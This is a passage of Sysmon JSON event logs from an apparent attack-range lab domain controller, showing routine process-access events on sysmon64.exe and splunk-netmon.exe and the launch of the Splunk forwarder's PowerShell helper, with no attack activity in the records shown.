11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4065-5F2D-0000-00108EDE0400}\r\nTargetProcessId: 3212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4065-5F2D-0000-00108EDE0400}","TargetProcessId":"3212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nProcessGuid: {90617006-4067-5F2D-0000-001092E00400}\r\nProcessId: 4364\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program 